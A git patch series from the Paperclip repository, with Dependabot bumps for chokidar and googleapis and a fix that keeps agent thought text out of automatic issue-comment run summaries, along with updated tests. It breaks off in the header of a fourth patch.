From f674f2ca31e4b71f7235ec4db34bd97800177cb9 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 20 Aug 2026 15:28:55 -0700 Subject: [PATCH 1/8] build(deps): bump chokidar from 4.0.3 to 5.0.0 (#11720) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Bumps [chokidar](https://github.com/paulmillr/chokidar) from 4.0.3 to 5.0.0.
Release notes

Sourced from chokidar's releases.

5.0.0

New Contributors

Full Changelog: https://github.com/paulmillr/chokidar/compare/4.0.3...5.0.0

Commits
Maintainer changes

This version was pushed to npm by GitHub Actions, a new releaser for chokidar since your current version.


--------- Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Priya Raman Co-authored-by: Paperclip --- pnpm-lock.yaml | 22 +++++++++---------- server/package.json | 2 +- .../src/__tests__/workspace-runtime.test.ts | 6 ++++- 3 files changed, 17 insertions(+), 13 deletions(-) diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 5ac6945233b..3721c101d76 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -823,8 +823,8 @@ importers: specifier: 1.6.28 version: 1.6.28(@opentelemetry/api@1.9.1)(drizzle-kit@0.31.10)(drizzle-orm@0.45.2(@electric-sql/pglite@0.3.15)(@opentelemetry/api@1.9.1)(kysely@0.29.5)(pg@8.18.0)(postgres@3.4.9)(sqlite3@5.1.7))(pg@8.18.0)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(vitest@4.1.10(@opentelemetry/api@1.9.1)(@types/node@22.20.1)(jsdom@30.0.1(@noble/hashes@2.3.0))(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))) chokidar: - specifier: ^4.0.3 - version: 4.0.3 + specifier: ^5.0.0 + version: 5.0.0 detect-port: specifier: ^2.1.0 version: 2.1.0 @@ -6054,9 +6054,9 @@ packages: resolution: {integrity: sha512-PAJdDJusoxnwm1VwW07VWwUN1sl7smmC3OKggvndJFadxxDRyFJBX/ggnu/KE4kQAB7a3Dp8f/YXC1FlUprWmA==} engines: {node: '>= 16'} - chokidar@4.0.3: - resolution: {integrity: sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==} - engines: {node: '>= 14.16.0'} + chokidar@5.0.0: + resolution: {integrity: sha512-TQMmc3w+5AxjpL8iIiwebF73dRDF4fBIieAqGn9RGCWaEVwQ6Fb2cGe31Yns0RRIzii5goJ1Y7xbMwo1TxMplw==} + engines: {node: '>= 20.19.0'} chownr@1.1.4: resolution: {integrity: sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==} @@ -8206,9 +8206,9 @@ packages: resolution: {integrity: sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==} engines: {node: '>= 6'} - readdirp@4.1.2: - resolution: {integrity: sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==} - engines: {node: '>= 14.18.0'} + readdirp@5.1.1: + resolution: {integrity: sha512-Kko+Y5XQ6fM+Ce3dq3m9YGxnacYZYl9cA1wZjaF3Vbry2L3i1qVg8+CAgNPsXRArPMUMCaOR7oa9Nqntc43JKA==} + engines: {node: '>= 20.19.0'} real-require@0.2.0: resolution: {integrity: sha512-57frrGM/OCTLqLOAh0mhVA9VBMHd+9U7Zb2THMGdBUoZVOtGbJzjxsYGDJ3A9AYYCP4hn6y1TVbaOfzWtm5GFg==} @@ -14067,9 +14067,9 @@ snapshots: check-error@2.1.3: {} - chokidar@4.0.3: + chokidar@5.0.0: dependencies: - readdirp: 4.1.2 + readdirp: 5.1.1 chownr@1.1.4: optional: true @@ -16775,7 +16775,7 @@ snapshots: string_decoder: 1.3.0 util-deprecate: 1.0.2 - readdirp@4.1.2: {} + readdirp@5.1.1: {} real-require@0.2.0: {} diff --git a/server/package.json b/server/package.json index bfb75db3528..1fb357fcb34 100644 --- a/server/package.json +++ b/server/package.json @@ -64,7 +64,7 @@ "ajv": "^8.20.0", "ajv-formats": "^3.0.1", "better-auth": "1.6.28", - "chokidar": "^4.0.3", + "chokidar": "^5.0.0", "detect-port": "^2.1.0", "dompurify": "^3.4.13", "dotenv": "^17.4.2", diff --git a/server/src/__tests__/workspace-runtime.test.ts b/server/src/__tests__/workspace-runtime.test.ts index 7f902c85de4..e753259544c 100644 --- a/server/src/__tests__/workspace-runtime.test.ts +++ b/server/src/__tests__/workspace-runtime.test.ts @@ -4143,7 +4143,11 @@ describe("ensureRuntimeServicesForRun", () => { }, adapterEnv: {}, }), - ).rejects.toThrow(/Readiness check failed for http:\/\/127\.0\.0\.1:\d+\/api\/health: received HTTP 503/); + // The 503 health server must never pass readiness. Assert only that the + // readiness check fails for the health URL. Do not assert the exact reason + // string: under load the last probe near the deadline can get a small + // budget and abort with a timeout before it reads the HTTP 503 response. + ).rejects.toThrow(/Readiness check failed for http:\/\/127\.0\.0\.1:\d+\/api\/health/); } finally { await releaseRuntimeServicesForRun(runId); } From 67ce516a84cb83666720980e50c53411a3adbdf2 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 20 Aug 2026 15:30:51 -0700 Subject: [PATCH 2/8] build(deps): bump googleapis from 164.1.0 to 174.0.1 (#11723) Bumps [googleapis](https://github.com/googleapis/google-api-nodejs-client) from 164.1.0 to 174.0.1.
Release notes

Sourced from googleapis's releases.

googleapis: v174.0.1

174.0.1 (2026-08-05)

Bug Fixes

  • generator: respect ignore.json when downloading discovery docs and cleaning up old files (#3965) (7c7bfdd)
Commits
  • 3285a2c chore: release main (#3966)
  • 51c4d51 chore: ignore broken aiplatform:v1 discovery schema (#3969)
  • 7c7bfdd fix(generator): respect ignore.json when downloading discovery docs and clean...
  • 9967f25 chore(generator): only commit index files if there are staged changes (#3962)
  • 8525611 chore: ignore broken aiplatform:v1beta1 and analytics:v3 discovery schemas (#...
  • 306daab chore(test): increase kitchen sink system test timeout to 10m (#3960)
  • 0048777 chore: release main (#3952)
  • ac15310 feat: run the generator (#3959)
  • c429a9b feat: run the generator (#3955)
  • 5950a04 fix: prevent OOMs and HTTP 408 timeouts during API generation and push (#3954)
  • Additional commits viewable in compare view

[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=googleapis&package-manager=npm_and_yarn&previous-version=164.1.0&new-version=174.0.1)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores) Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) ---
Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- .../google-sheets-mcp-server/package.json | 2 +- pnpm-lock.yaml | 115 ++++++++++-------- 2 files changed, 63 insertions(+), 54 deletions(-) diff --git a/packages/google-sheets-mcp-server/package.json b/packages/google-sheets-mcp-server/package.json index 1469f378e33..c17e56f7074 100644 --- a/packages/google-sheets-mcp-server/package.json +++ b/packages/google-sheets-mcp-server/package.json @@ -46,7 +46,7 @@ }, "dependencies": { "@modelcontextprotocol/sdk": "^1.30.0", - "googleapis": "^164.1.0", + "googleapis": "^174.0.1", "zod": "^3.24.2" }, "devDependencies": { diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 3721c101d76..62115b057fb 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -392,8 +392,8 @@ importers: specifier: ^1.30.0 version: 1.30.0(zod@3.25.76) googleapis: - specifier: ^164.1.0 - version: 164.1.0 + specifier: ^174.0.1 + version: 174.0.1 zod: specifier: ^3.24.2 version: 3.25.76 @@ -5718,8 +5718,8 @@ packages: resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} engines: {node: '>=8'} - ansi-regex@6.2.2: - resolution: {integrity: sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==} + ansi-regex@6.3.0: + resolution: {integrity: sha512-WpDfL7NO6j7tH88IDBNVdUJxDh9nmCteAVW9dsep846XdwF4naCBK+/tGLX3KJgcpgMRXCFlTM2hKGoK9FsdrQ==} engines: {node: '>=12'} ansi-styles@4.3.0: @@ -6916,16 +6916,12 @@ packages: resolution: {integrity: sha512-YGGyuEdVIjqxkxVH1pUTMY/XtmmsApXrCVv5EU25iX6inEPbV+VakJfLealkBtJN69AQmh1eGOdCl9Sm1UP6XQ==} engines: {node: '>=18'} - gaxios@7.2.0: - resolution: {integrity: sha512-CUVb4wcYe+771XevyH6HtGmXFAGGKkIC3kswAP8Z1JCe0j80JMaTPZH930DWFrvo0atjh18Arc0pEyUCWa5bfg==} + gaxios@7.3.1: + resolution: {integrity: sha512-kB3rzJV7d9juLZh8/56QTXCwQfxyhdOMdyYk1HdQKFtF8TJTDTZQJtixWIwXdE9Jji91mC41DUNpjleo4L4eAQ==} engines: {node: '>=18'} - gcp-metadata@8.1.2: - resolution: {integrity: sha512-zV/5HKTfCeKWnxG0Dmrw51hEWFGfcF2xiXqcA3+J90WDuP0SvoiSO5ORvcBsifmx/FoIjgQN3oNOGaQ5PhLFkg==} - engines: {node: '>=18'} - - gcp-metadata@8.1.3: - resolution: {integrity: sha512-ziTrzUhhpL9Zk5k0HHzgP/KIpWDJT0VMBC/ynt/QIBvTW+UUcSivQRl6VlwTf/EilDxtSWklHoRsKy1c4k+59w==} + gcp-metadata@8.1.4: + resolution: {integrity: sha512-iJ9KMsiu+xKtNRX0PmGLSaIU3bUBAyzWTyqKemKPzNPsmmsBCQYmlNg+brEbES7IHSXtdVwzBPzx1vz3FAaipw==} engines: {node: '>=18'} gensync@1.0.0-beta.2: @@ -6971,20 +6967,20 @@ packages: resolution: {integrity: sha512-7ABviyMOlX5hIVD60YOfHw4/CxOfBhyduaYB+wbFWCWoni4N7SLcV46hrVRktuBbZjFC9ONyqamZITN7q3n32w==} engines: {node: '>=18'} - google-auth-library@10.9.0: - resolution: {integrity: sha512-xtvUqvINPhTaBm7nXqlYPcrMHJPm1lCNdSovxnKKhTm+4JsvQ+KGVYJViLoH9Yxu8w+T0Qv5HubzYT9BLrppJg==} - engines: {node: '>=18'} - google-logging-utils@1.1.3: resolution: {integrity: sha512-eAmLkjDjAFCVXg7A1unxHsLf961m6y17QFqXqAXGj/gVkKFrEICfStRfwUlGNfeCEjNRa32JEWOUTlYXPyyKvA==} engines: {node: '>=14'} - googleapis-common@8.0.2: - resolution: {integrity: sha512-5MXeQzIZaqCH7B+HJWqhQm946VARpZep6acbWSr/fcgF2cQANq7allgX+i/G0EqF0WyUxB277gtWMzRYHMl9tg==} - engines: {node: '>=18.0.0'} + google-logging-utils@1.2.0: + resolution: {integrity: sha512-WE9av4wKDZgRjBwgVUabocx8T6/7o3Ca1Fat46FXDhXVAFibzNadedcOXrdgd1Kzmk8tsk/9ZH89Wyf/SqeZ3A==} + engines: {node: '>=18'} - googleapis@164.1.0: - resolution: {integrity: sha512-dIN768H8so9qGucFtjYPBZJ+OCEgDi/xYyvYQHniPL1ZCYvrRDBTmtbjVjKCPG1CuOhG4CKHZDXiFe6QZ2qBeQ==} + googleapis-common@8.0.3: + resolution: {integrity: sha512-7g1yzQKx0mmNTjiK0H9dJ8eqKqDBveES9vLHeg5neb3BMQy/d1oQefIMhIpOVT8a+f+LOcixMEdRbFIW/cQUJw==} + engines: {node: '>=18'} + + googleapis@174.0.1: + resolution: {integrity: sha512-51B9r4WnyAyUXvsDhDswpSVZbqx3afSBEzrzshxBivysBKsB6kJ+X5CVOybRV/R3HIURiR01uHXLGkEm7On3dA==} engines: {node: '>=18'} gopd@1.2.0: @@ -8056,6 +8052,10 @@ packages: resolution: {integrity: sha512-mAZTtNCeetKMH+pSjrb76NAM8V9a05I9aBZOHztWy/UqcJdQYNsf59vrRKWnojAT9Y+GbIvoTBC++CPHqpDBhQ==} engines: {node: '>=0.6'} + qs@6.15.3: + resolution: {integrity: sha512-O9gl3zCl5h5blw1KGUzQKhA5oUXSl8rwUIM5o0S3nCXMliSvy5Dzx7/DJcI+SwgICv+IneSZwhBh1oSyEHA71A==} + engines: {node: '>=0.6'} + quick-format-unescaped@4.0.4: resolution: {integrity: sha512-tYC1Q1hgyRuHgloV/YXs2w15unPVh8qfu/qCTfhTYamaw7fyhumKa2yGpdSo87vY32rIclj+4fWYQXUMs9EHvg==} @@ -8390,6 +8390,10 @@ packages: resolution: {integrity: sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==} engines: {node: '>= 0.4'} + side-channel-list@1.0.1: + resolution: {integrity: sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==} + engines: {node: '>= 0.4'} + side-channel-map@1.0.1: resolution: {integrity: sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==} engines: {node: '>= 0.4'} @@ -8402,6 +8406,10 @@ packages: resolution: {integrity: sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==} engines: {node: '>= 0.4'} + side-channel@1.1.1: + resolution: {integrity: sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ==} + engines: {node: '>= 0.4'} + siginfo@2.0.0: resolution: {integrity: sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==} @@ -13763,7 +13771,7 @@ snapshots: ansi-regex@5.0.1: {} - ansi-regex@6.2.2: {} + ansi-regex@6.3.0: {} ansi-styles@4.3.0: dependencies: @@ -14993,7 +15001,7 @@ snapshots: transitivePeerDependencies: - supports-color - gaxios@7.2.0: + gaxios@7.3.1: dependencies: extend: 3.0.2 https-proxy-agent: 7.0.6 @@ -15001,15 +15009,7 @@ snapshots: transitivePeerDependencies: - supports-color - gcp-metadata@8.1.2: - dependencies: - gaxios: 7.2.0 - google-logging-utils: 1.1.3 - json-bigint: 1.0.0 - transitivePeerDependencies: - - supports-color - - gcp-metadata@8.1.3: + gcp-metadata@8.1.4: dependencies: gaxios: 7.1.3 google-logging-utils: 1.1.3 @@ -15077,42 +15077,33 @@ snapshots: dependencies: base64-js: 1.5.1 ecdsa-sig-formatter: 1.0.11 - gaxios: 7.1.3 - gcp-metadata: 8.1.3 - google-logging-utils: 1.1.3 + gaxios: 7.3.1 + gcp-metadata: 8.1.4 + google-logging-utils: 1.2.0 gtoken: 8.0.0 jws: 4.0.1 transitivePeerDependencies: - supports-color - google-auth-library@10.9.0: - dependencies: - base64-js: 1.5.1 - ecdsa-sig-formatter: 1.0.11 - gaxios: 7.2.0 - gcp-metadata: 8.1.2 - google-logging-utils: 1.1.3 - jws: 4.0.1 - transitivePeerDependencies: - - supports-color - google-logging-utils@1.1.3: {} - googleapis-common@8.0.2: + google-logging-utils@1.2.0: {} + + googleapis-common@8.0.3: dependencies: extend: 3.0.2 gaxios: 7.1.3 google-auth-library: 10.5.0 google-logging-utils: 1.1.3 - qs: 6.15.0 + qs: 6.15.3 url-template: 2.0.8 transitivePeerDependencies: - supports-color - googleapis@164.1.0: + googleapis@174.0.1: dependencies: - google-auth-library: 10.9.0 - googleapis-common: 8.0.2 + google-auth-library: 10.5.0 + googleapis-common: 8.0.3 transitivePeerDependencies: - supports-color @@ -15122,7 +15113,7 @@ snapshots: gtoken@8.0.0: dependencies: - gaxios: 7.1.3 + gaxios: 7.3.1 jws: 4.0.1 transitivePeerDependencies: - supports-color @@ -16563,6 +16554,11 @@ snapshots: dependencies: side-channel: 1.1.0 + qs@6.15.3: + dependencies: + es-define-property: 1.0.1 + side-channel: 1.1.1 + quick-format-unescaped@4.0.4: {} radix-ui@1.6.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8): @@ -17071,6 +17067,11 @@ snapshots: es-errors: 1.3.0 object-inspect: 1.13.4 + side-channel-list@1.0.1: + dependencies: + es-errors: 1.3.0 + object-inspect: 1.13.4 + side-channel-map@1.0.1: dependencies: call-bound: 1.0.4 @@ -17094,6 +17095,14 @@ snapshots: side-channel-map: 1.0.1 side-channel-weakmap: 1.0.2 + side-channel@1.1.1: + dependencies: + es-errors: 1.3.0 + object-inspect: 1.13.4 + side-channel-list: 1.0.1 + side-channel-map: 1.0.1 + side-channel-weakmap: 1.0.2 + siginfo@2.0.0: {} signal-exit@3.0.7: @@ -17262,7 +17271,7 @@ snapshots: strip-ansi@7.2.0: dependencies: - ansi-regex: 6.2.2 + ansi-regex: 6.3.0 strip-bom@3.0.0: {} From c2cfd55e97e587ea6e622c3c66fde57b7c404844 Mon Sep 17 00:00:00 2001 From: nearfolk Date: Thu, 20 Aug 2026 17:48:34 -0500 Subject: [PATCH 3/8] fix: exclude thought text from automatic issue comments (#11801) ## Thinking Path > - Paperclip is the open source app people use to manage AI agents for work. > - The heartbeat system records agent runs and can add a run summary to an issue. > - The ACPX engine receives output text and internal thought text as separate streams. > - The default summary strategy joined both streams and could publish internal text in an issue comment. > - Paperclip already has final-output segmentation for run summaries. > - This pull request makes final-output-only summaries mandatory and removes the configuration bypass. > - The benefit is that automatic issue comments contain the intended final message instead of internal execution text. ## Linked Issues or Issue Description Refs #11761 **What happened?** The ACPX engine used the full summary strategy when an adapter did not set `summaryStrategy`. That strategy joined all text deltas, including thought-stream text and intermediate narration. The heartbeat finalizer could then store that summary as an issue comment. **Expected behavior** An automatic issue comment must use only the final output segment. Configuration must not allow thought-stream text or intermediate narration into that summary. **Steps to reproduce** 1. Run an ACPX adapter without a configured `summaryStrategy`. 2. Emit an output delta, a thought delta, a tool call, and a final output delta. 3. Read the generated run summary. 4. Observe that the old default included all text deltas. **Paperclip version or commit** `54b8bec44417511c623999613f9f1006f8af0517` **Deployment mode** Built from source with a local ACPX adapter. ## What Changed - Limit ACPX run summaries to the final non-empty output segment. - Ignore the legacy full-summary setting so configuration cannot bypass containment. - Update regression tests for the safe default and an attempted unsafe override. ## Verification - Observed the new guard fail before the implementation change because the summary contained thought text. - Ran `pnpm exec vitest run packages/adapter-utils/src/acpx-engine/execute.test.ts -t "defaults run summaries to the final output segment without thought text|does not allow configuration to include thought text in run summaries"`. Result: 2 passed. - Ran `pnpm exec vitest run packages/adapter-utils/src/acpx-engine/execute.test.ts`. Result: 130 passed. - Ran `pnpm --filter @paperclipai/adapter-utils typecheck`. Result: passed. ## Risks - Run summaries are shorter for adapters that relied on full text aggregation. - The old `summaryStrategy: "full"` setting no longer changes summary behavior. This is an intentional containment change. - The change does not alter run logs or tool events. It changes only the summary selected for downstream use. > This is a focused security and privacy bug fix. It does not add roadmap scope. ## Model Used - OpenAI Codex on the GPT-5 family. The runtime did not expose the exact model ID or context-window size. Reasoning, tool use, terminal execution, and code editing were enabled. ## Checklist - [x] I have included a thinking path that traces from project context to this change - [x] I have specified the model used (with version and capability details) - [x] I have checked ROADMAP.md and confirmed this PR does not duplicate planned core work - [x] I have searched GitHub for duplicate or related PRs and linked them above - [x] I have either (a) linked existing issues with `Fixes: #` / `Closes #` / `Refs #` OR (b) described the issue in-PR following the relevant issue template - [x] I have not referenced internal/instance-local Paperclip issues or links (only public GitHub `#NNN` / `github.com/paperclipai/paperclip` URLs) - [x] My branch name describes the change and contains no internal task id - [x] I have run tests locally and they pass - [x] I have added or updated tests where applicable - [x] I have updated relevant inline documentation to reflect my changes - [x] I have considered and documented any risks above - [ ] All Paperclip CI gates are green - [ ] Greptile is 5/5 with no open P2s, recommendations, or follow-ups - [ ] I will address all Greptile and reviewer comments before requesting merge --- .../src/acpx-engine/execute.test.ts | 80 ++++++++++++++++--- .../adapter-utils/src/acpx-engine/execute.ts | 48 ++++------- .../__tests__/heartbeat-run-summary.test.ts | 12 +++ 3 files changed, 97 insertions(+), 43 deletions(-) diff --git a/packages/adapter-utils/src/acpx-engine/execute.test.ts b/packages/adapter-utils/src/acpx-engine/execute.test.ts index f6618033833..324e20cf433 100644 --- a/packages/adapter-utils/src/acpx-engine/execute.test.ts +++ b/packages/adapter-utils/src/acpx-engine/execute.test.ts @@ -628,7 +628,7 @@ describe("shared ACPX engine runtime behavior", () => { }); }); - it("pins the existing summary and tool-event behavior when no engine knobs are set", async () => { + it("defaults run summaries to the final output segment without thought text", async () => { const root = await makeTempRoot(); const stateDir = path.join(root, "state"); const logs: Array<{ stream: string; text: string }> = []; @@ -705,13 +705,9 @@ describe("shared ACPX engine runtime behavior", () => { } as never); expect(result.exitCode).toBe(0); - // The summary is the full concatenation of every text delta, thought - // stream included — the engine's long-standing behavior for claude, - // codex, gemini, and custom agents. If this assertion breaks, a change - // is altering summaries for existing adapters. - expect(result.summary).toBe( - "Let me get oriented and inspect the PRs…hidden chain of thought## Update\n\n- Checked PR status\n- Continue burn-in", - ); + expect(result.summary).toBe("## Update\n\n- Checked PR status\n- Continue burn-in"); + expect(result.summary).not.toContain("Let me get oriented"); + expect(result.summary).not.toContain("hidden chain of thought"); const toolCallEvents = logs .map((entry) => { try { @@ -732,7 +728,7 @@ describe("shared ACPX engine runtime behavior", () => { ]); }); - it("summarizes only the final output segment when the adapter sets summaryStrategy", async () => { + it("does not allow configuration to include thought text in run summaries", async () => { const root = await makeTempRoot(); const stateDir = path.join(root, "state"); const execute = createAcpxEngineExecutor({ @@ -803,7 +799,7 @@ describe("shared ACPX engine runtime behavior", () => { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, - summaryStrategy: "lastOutputSegment", + summaryStrategy: "full", }, context: {}, onLog: async () => {}, @@ -811,12 +807,74 @@ describe("shared ACPX engine runtime behavior", () => { } as never); expect(result.exitCode).toBe(0); - // Must not include intermediate narration or thought stream. expect(result.summary).toBe("## Update\n\n- Checked PR status\n- Continue burn-in"); expect(result.summary).not.toContain("Let me get oriented"); expect(result.summary).not.toContain("hidden chain of thought"); }); + it("treats a statusless initial tool call as an output-segment boundary", async () => { + const root = await makeTempRoot(); + const stateDir = path.join(root, "state"); + const execute = createAcpxEngineExecutor({ + createRuntime: () => ({ + ensureSession: async () => ({ + backendSessionId: "backend-session", + agentSessionId: "agent-session", + runtimeSessionName: "runtime-session", + }), + startTurn: () => ({ + events: (async function* () { + yield { + type: "text_delta", + text: "Intermediate setup that must not be published", + stream: "output", + tag: "agent_message_chunk", + }; + yield { + type: "tool_call", + text: "Bash", + title: "Bash", + toolCallId: "tool-without-status", + tag: "tool_call", + }; + yield { + type: "tool_call", + text: "Bash (completed)", + title: "Bash", + status: "completed", + toolCallId: "tool-without-status", + tag: "tool_call_update", + }; + yield { + type: "text_delta", + text: "## Final update\n\n- Remediation verified", + stream: "output", + tag: "agent_message_chunk", + }; + yield { type: "done", stopReason: "end_turn" }; + })(), + result: Promise.resolve({ status: "completed", stopReason: "end_turn" }), + cancel: async () => {}, + }), + close: async () => {}, + }) as never, + }); + + const result = await execute({ + runId: "run-summary-statusless-tool-call", + agent: { id: "agent-1", companyId: "company-1" }, + runtime: {}, + config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir }, + context: {}, + onLog: async () => {}, + onMeta: async () => {}, + } as never); + + expect(result.exitCode).toBe(0); + expect(result.summary).toBe("## Final update\n\n- Remediation verified"); + expect(result.summary).not.toContain("Intermediate setup"); + }); + it("buildAcpxRunSummary prefers the last non-empty segment", () => { expect( buildAcpxRunSummary({ diff --git a/packages/adapter-utils/src/acpx-engine/execute.ts b/packages/adapter-utils/src/acpx-engine/execute.ts index fc3aa6ffd56..06ab95bb423 100644 --- a/packages/adapter-utils/src/acpx-engine/execute.ts +++ b/packages/adapter-utils/src/acpx-engine/execute.ts @@ -373,9 +373,6 @@ export interface AcpxEngineExecutorOptions { interface AcpxPreparedRuntime { acpxAgent: string; - // See the config parsing site: adapter-declared engine behavior knobs with - // behavior-preserving defaults. - summaryStrategy: "full" | "lastOutputSegment"; coalescePlaceholderToolUpdates: boolean; mode: "persistent" | "oneshot"; cwd: string; @@ -1613,13 +1610,8 @@ async function buildRuntime(input: { ); const acpxAgent = normalizeAgent(config); - // Engine behavior knobs set by the invoking adapter's acpx config builder - // (never by the engine itself): a verbose streaming backend opts into - // last-segment run summaries and placeholder tool-update coalescing here. - // The defaults preserve the engine's long-standing behavior, and the engine - // carries no knowledge of which adapters opt in. - const summaryStrategy: "full" | "lastOutputSegment" = - config.summaryStrategy === "lastOutputSegment" ? "lastOutputSegment" : "full"; + // Run summaries always fail closed to the final output segment so internal + // thought text and intermediate narration cannot become issue comments. const coalescePlaceholderToolUpdates = config.coalescePlaceholderToolUpdates === true; const mode = normalizeMode(config); const permissionMode = normalizePermissionMode(config); @@ -2175,7 +2167,6 @@ async function buildRuntime(input: { return { acpxAgent, - summaryStrategy, coalescePlaceholderToolUpdates, mode, // Remote runner-backed → the in-sandbox workspace dir; local / runner-less @@ -2464,8 +2455,7 @@ async function emitAcpxLog(ctx: AdapterExecutionContext, payload: Record => { - // Summary accumulation, per the adapter-declared strategy. "full" (the - // default) collects every text delta exactly as before. - // "lastOutputSegment" collects output text only (never thought stream), + // Summary accumulation collects output text only (never thought stream), // segmented on tool starts so multi-step narration is not glued into one - // auto-comment dump. - const textParts: string[] = []; + // automatic comment dump. const outputSegments: string[] = []; let currentOutputChunk: string[] = []; const flushOutputSegment = () => { @@ -3992,13 +3979,13 @@ export function createAcpxEngineExecutor(deps: AcpxEngineExecutorOptions = {}) { const turn = activeTurn as AcpRuntimeTurn; const toolTitles = new Map(); for await (const event of turn.events) { - if (event.type === "text_delta") { - if (prepared.summaryStrategy === "full") { - textParts.push(event.text); - } else if (event.stream !== "thought") { - currentOutputChunk.push(event.text); - } - } else if (event.type === "tool_call" && event.status === "pending") { + if (event.type === "text_delta" && event.stream !== "thought") { + currentOutputChunk.push(event.text); + } else if (event.type === "tool_call" && event.tag !== "tool_call_update") { + // ACP makes tool-call status optional. The normalized event tag is + // the reliable boundary between an initial call and its updates, + // so a statusless initial call must still end the preceding output + // segment while updates must not create extra boundaries. flushOutputSegment(); } if (event.type === "status" && event.tag === "usage_update") { @@ -4088,13 +4075,10 @@ export function createAcpxEngineExecutor(deps: AcpxEngineExecutorOptions = {}) { ? { cumulativeCostUsd: turnUsage.cumulativeCostUsd } : {}), }, - summary: - prepared.summaryStrategy === "lastOutputSegment" - ? buildAcpxRunSummary({ - outputSegments, - fallback: terminalStopReason || terminal.status, - }) - : textParts.join("").trim() || terminalStopReason || terminal.status, + summary: buildAcpxRunSummary({ + outputSegments, + fallback: terminalStopReason || terminal.status, + }), clearSession, }; // The turn phase finished. A completed, non-timed-out turn is `ok`; every diff --git a/server/src/__tests__/heartbeat-run-summary.test.ts b/server/src/__tests__/heartbeat-run-summary.test.ts index 74051ab4695..593c6006e02 100644 --- a/server/src/__tests__/heartbeat-run-summary.test.ts +++ b/server/src/__tests__/heartbeat-run-summary.test.ts @@ -133,6 +133,18 @@ describe("mergeHeartbeatRunResultJson", () => { expect(buildHeartbeatRunIssueComment(merged)).toBe("## Summary\n\n1. first thing\n2. second thing"); }); + it("posts only the final adapter summary when raw output contains intermediate narration", () => { + const merged = mergeHeartbeatRunResultJson( + { stdout: "Intermediate setup that must not be published" }, + "## Final update\n\n- Remediation verified", + ); + + expect(buildHeartbeatRunIssueComment(merged)).toBe( + "## Final update\n\n- Remediation verified", + ); + expect(buildHeartbeatRunIssueComment(merged)).not.toContain("Intermediate setup"); + }); + it("creates a result payload when only a summary exists", () => { expect(mergeHeartbeatRunResultJson(null, "done")).toEqual({ summary: "done" }); }); From 3d6afde104126991a85f84411c66e79b6f75e738 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 20 Aug 2026 15:57:20 -0700 Subject: [PATCH 4/8] build(deps): bump @clack/prompts from 0.11.0 to 1.7.0 (#11724) MIME-Version: 1.0 Content-Type: text/plain; 